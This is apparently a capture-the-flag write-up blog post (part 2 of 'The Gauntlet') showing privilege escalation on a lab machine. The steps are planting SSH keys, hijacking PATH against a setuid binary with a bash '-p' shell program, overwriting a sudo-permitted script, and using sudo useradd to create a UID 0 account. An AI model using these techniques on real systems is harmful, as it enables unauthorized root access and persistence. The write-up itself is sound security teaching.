Lillie

The Gauntlet part 2

So, you think you're a l33t h4xx0r? Alright, here's my little gauntlet to you then: Break in through the website and get a shell one way or another. Once that's done, escalate your privileges and own the box. You won't be needing any fancy kernel exploits or such, this one's all about bad practices and misconfigurations. Doesn't sound too hard, now does it? Good luck!

Flag binaries are located at /home/*****/user.flag and /root/root.flag 
the-gauntlet.hkn

Prerequisites

This writeup will be missing the rabbit holes, and other wrong paths I took. I decided to do this to save time so I can write more writeups. I might decide to write a more complete one later, so this will be a writeup in the mind of someone not doing any mistakes. But I’m happy to talk on the discord to discuss the challenge.

This is part 2 for The Gauntlet challenge, I recommend reading part 1 to understand context.

SSH

We have reverse shell access, but instead of relying on the reverse shell it’s better to SSH. We saw earlier in the nmap scan that there is port 22 open.

We can add our public key into the file .ssh/authorized_keys that we need to create.

If you do not know how to create SSH keys, I can recommend searching online as there are many guides.

After adding the keys, I can now ssh using the command

ssh user1@the-gauntlet.hkn

Escalate privileges

To get an overview of what accounts there are, we can run

cat /etc/passwd

and we see there are 3 accounts, and first goal is getting access to user3.

user1:x:1001:1001:,,,:/home/user1:/bin/bash
user2:x:1002:1002:,,,:/home/user2:/bin/bash
user3:x:1003:1003:,,,:/home/user3:/bin/bash

Getting access to user2

Running ls -la in home folder gives us the following output

total 1612
drwxr-x--- 1 user1 user1   4096 Mar 15 10:04 .
drwxr-xr-x 1 root  root    4096 Jan 25 20:57 ..
-rw-r--r-- 1 user1 user1    220 Jan 25 20:57 .bash_logout
-rw-r--r-- 1 user1 user1   3771 Jan 25 20:57 .bashrc
drwx------ 2 user1 user1   4096 Mar 15 10:04 .cache
-rw-r--r-- 1 user1 user1    807 Jan 25 20:57 .profile
drwxrwxr-x 2 user1 user1   4096 Mar 15 10:02 .ssh
-rwxrwxrwx 1 root  root    6032 Jan 25 20:56 app.py
-rw-r--r-- 1 user1 user1   8192 Mar 15 09:12 ctf.db
-rwsrwsr-x 1 user2 user2 776520 Jan 25 20:56 testBin
-rwxrwxrwx 1 user1 user1 821008 Jan 25 20:56 user.flag

We can see that testBin is owned by user2, and also has a setuid bit set.

Here is a short description of setuid from Wikipedia.

The Unix and Linux access rights flags setuid and setgid (short for set user identity and set group identity)[1] allow users to run an executable with the file system permissions of the executable's owner or group respectively and to change behaviour in directories.

So this means the binary can run with permissions of user2 even if we are not user2.

When first running testBin we get the following output

Usage: ./testBin <file>

and when providing a file we get output that seems to be from xxd

00000000: 2320 5965 732c 2049 2067 6f74 2043 6861  # Yes, I got Cha
00000010: 7447 5054 2074 6f20 7772 6974 6520 7468  tGPT to write th
00000020: 6520 636f 6465 202d 2073 7565 206d 652e  e code - sue me.
00000030: 0a0a 6672 6f6d 2066 6c61 736b 2069 6d70  ..from flask imp
00000040: 6f72 7420 466c 6173 6b2c 2072 6571 7565  ort Flask, reque
00000050: 7374 2c20 7265 6469 7265 6374 2c20 7572  st, redirect, ur
00000060: 6c5f 666f 722c 2073 6573 7369 6f6e 2c20  l_for, session,
00000070: 7265 6e64 6572 5f74 656d 706c 6174 655f  render_template_
00000080: 7374 7269 6e67 0a69 6d70 6f72 7420 7371  string.import sq

So we can assume the xxd is running under the permissions user2 has.

We can abuse the path variable to check for variables in current directory with following commands.

PATH=.:${PATH}
export PATH

We can confirm this works by copying the user.flag binary as xxd.

cp user.flag xxd

When running the command ./testBin app.py it runs the user.flag binary instead.

We can create our own binary that runs bash with user2 permissions

#include <stdlib.h>
#include <unistd.h>

int main(void) {
    char *const paramList[10] = {"/bin/bash", "-p", NULL};
    execve(paramList[0], paramList, NULL);
    return 0;
}

We can use nano to create a new file with name main.c

nano main.c

copy the contents over

compile the c file with

gcc main.c

rename the file to be xxd and make it executable

cp a.out xxd
chmod +x xxd

When running the testBin this time we get a new shell and we can confirm we have user2 permissions withid command

uid=1001(user1) gid=1001(user1) euid=1002(user2) egid=1002(user2) groups=1002(user2),100(users),1001(user1)

So to continue, we can add our keys to the user2 and ssh into that account and get full permissions.

Getting access to user3

When doing ls -la we can see the following output

drwxr-xr-x 1 user2 user2 4096 Mar 15 10:57 .
drwxr-xr-x 1 root  root  4096 Jan 25 20:57 ..
-rw-r--r-- 1 user2 user2  220 Jan 25 20:57 .bash_logout
-rw-r--r-- 1 user2 user2 3771 Jan 25 20:57 .bashrc
drwx------ 2 user2 user2 4096 Mar 15 10:57 .cache
drwxrwxr-x 3 user2 user2 4096 Mar 15 10:55 .local
-rw-r--r-- 1 user2 user2  807 Jan 25 20:57 .profile
drwxrwxr-x 2 user2 user2 4096 Mar 15 10:56 .ssh
-rwxrwxr-x 1 root  root    58 Jan 25 20:56 runMe.sh

runMe.sh is owned by root and running it prints out

If only I could be something useful...

After looking into cheatsheets of privilege escalation I find

sudo -l

and the output as user2 is

Matching Defaults entries for user2 on ca0a1536712e:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User user2 may run the following commands on ca0a1536712e:
    (user3) NOPASSWD: /home/user2/runMe.sh

This means that we can run runMe.sh file as user3 without needing password.

since we own the folder runMe.sh is in, we can delete the file and create our own shell file.

rm runMe.sh
echo "id" > runMe.sh
chmod +x runMe.sh

we can run runMe.sh as user3 using following command

sudo -u user3 /home/user2/runMe.sh

and the output is

uid=1003(user3) gid=1003(user3) groups=1003(user3),100(users)

to get access to user3 we can update the runMe.sh to create .ssh directory and add our public key to the authorized_keys file

update runMe.sh with following commands

cd ../user3
mkdir .ssh
cd .ssh
echo "public_key_here" > authorized_keys

We can ssh into the user3 like the previous accounts with command

ssh user3@the-gauntlet.hkn

Getting Root

Running sudo -l as user3 gives us the following output

Matching Defaults entries for user3 on ca0a1536712e:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User user3 may run the following commands on ca0a1536712e:
    (root) NOPASSWD: /usr/sbin/useradd *

So we can execute useradd command as root, and any arguments without the need of the password.

So we can create accounts, so I assume we can create an account with root permissions, allowing us to run the root binary. We can do this with following commands

sudo -u root useradd -o --uid 0 --gid 0 user4 --password $(echo password | openssl passwd -6 -stdin)

The command creates user4 with password password that is encrypted using openssl, and we have -o tag that bypasses duplicate uid check.

We can now log into user4 with su user4 and enter password as the password.

we can confirm we have root with id

uid=0(root) gid=0(root) groups=0(root)

last step is running the root binary

./root/root.flag

and we get the following flag

DDC{1_h0p3_y0u_enj0y3d_my_f1r27_B2R}
The Gauntlet part 2
: LillieFox
https://lillie.sh/blog/misc/the-gauntlet-p2/
© 2025 LillieFox . All rights reserved.